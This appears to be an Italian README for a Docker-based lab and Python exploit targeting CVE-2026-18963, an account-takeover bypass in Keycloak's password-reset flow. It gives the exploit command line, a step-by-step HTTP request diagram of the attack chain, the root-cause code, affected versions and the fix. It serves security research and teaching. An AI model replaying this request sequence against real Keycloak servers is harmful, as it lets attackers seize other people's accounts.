
Lab basato su Docker ed exploit Python per CVE-2026-18963, un bypass del flusso di reset delle credenziali di Keycloak che consente l'acquisizione dell'account tramite il bypass della verifica email.
Lab che simula la vulnerabilità CVE-2026-18963 (CVSS 9.1) in Keycloak, che consente a un attaccante di impadronirsi di qualsiasi account tramite il bypass della verifica email nel flusso di reimpostazione della password.
Solo per scopi di ricerca sulla sicurezza e didattici.
docker-compose up -d
Attendere l'avvio di Keycloak (~30-60 secondi).
pip install -r requirements.txt
python setup-lab.py
Lo script creerà:
vuln-lab con reset-password abilitatovictim ([email protected] / VictimPass123!)python exploit.py -u http://127.0.0.1:8080 -r vuln-lab -t victim -p Pwned123!
Opzioni:
-u / --url: URL di Keycloak (default: http://127.0.0.1:8080)-r / --realm: Nome del realm (default: vuln-lab)-t / --target: Username target (default: victim)-p / --password: Nuova password (default: Pwned123!)-v / --verbose: Abilita output di debugMailHog UI: http://127.0.0.1:8025 — visualizza le email di reset-password inviate durante l'exploit.
docker-compose down -v
Due bug combinati in Keycloak formano la catena di attacco:
Bug 1 — Corruzione dello stato del selettore (DefaultAuthenticationFlow.java):
Quando l'utente clicca "Try Another Way", la nota di autenticazione AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED
viene salvata come "true" (stringa booleana) invece dell'ID del modello di esecuzione. Il valore
"true" non è vincolato ad alcuna esecuzione specifica, quindi persiste
attraverso i passaggi del flusso, causando la visualizzazione del selettore in un contesto errato.
Bug 2 — Successo incondizionato dell'azione (ResetCredentialEmail.java):
Il metodo action() di ResetCredentialEmail chiama context.success() incondizionatamente
senza verificare l'action token. Normalmente, action() viene chiamato solo quando l'utente
clicca il link nell'email (che contiene l'action token). Ma quando il selettore è corrotto, l'attaccante
può attivare action() direttamente attraverso l'elaborazione del flusso.
Attacker Keycloak
│ │
│─── GET /auth (OIDC + PKCE) ────────>│ 1. Inizializza auth session
│<── Login page + cookies ────────────│
│ │
│─── GET /reset-credentials ─────────>│ 2. Passa al reset flow
│<── Username form ──────────────────│
│ │
│─── POST tryAnotherWay=on ─────────>│ 3. Corrompe lo stato del selettore
│<── Authenticator selector ─────────│ SELECTOR_DISPLAYED = "true"
│ │
│─── POST username=victim ──────────>│ 4. Invia username tramite selettore
│<── "Check your email" page ────────│ Email inviata, CURRENT_EXEC = email_id
│ │
│─── GET /reset-credentials ────────>│ 5. Reinserisce il reset flow
│<── Corrupted selector (!!!) ───────│ processFlow() vede SELECTOR="true"
│ │ → mostra il selettore per lo step email
│ │
│─── POST {} (empty body) ──────────>│ 6. BYPASS: attiva action()
│<── 302 → UPDATE_PASSWORD ─────────│ processAction() non trova
│ │ authenticationExecution nel form
│─── GET /required-action ──────────>│ → cade nel ramo action()
│<── Password update form ──────────│ ResetCredentialEmail.action()
│ │ → context.success() (incondizionato!)
│ │ → il flow passa a ResetPassword
│ │
│─── POST password-new=Pwned! ──────>│ 7. Imposta la nuova password
│<── 302 → /account/ ──────────────│ Account takeover completato
│ │
└── Login con la nuova password ─────┘
In DefaultAuthenticationFlow.processAction(), quando riceve il POST:
tryAnotherWay nel form → NO (form vuoto)authenticationExecution nel form → NO (form vuoto)authenticator.action(result) sul modello dall'URLPoiché l'URL contiene execution=<email_exec_id> (dall'action del form del selettore),
viene chiamato ResetCredentialEmail.action() → restituisce context.success() →
il flow passa a ResetPassword → mostra il form di impostazione della password.
| Prodotto | Interessate | Corrette |
|---|---|---|
| Keycloak (upstream) | < 26.7.2 | 26.7.2+ |
| RHBK 26.4.x | < 26.4.15 | 26.4.15+ |
| RHBK 26.6.x | < 26.6.6 | 26.6.6+ |
DefaultAuthenticationFlow.java:
setAuthNote(SELECTOR_DISPLAYED, "true") → setAuthNote(SELECTOR_DISPLAYED, model.getId())processFlow() verifica selector.equals(lastExecutionId) invece di Boolean.parseBoolean()removeAuthNote(SELECTOR_DISPLAYED)ResetCredentialEmail.java:
action() verifica ACTION_TOKEN_USER_ID prima di chiamare context.success()context.failure(INVALID_USER)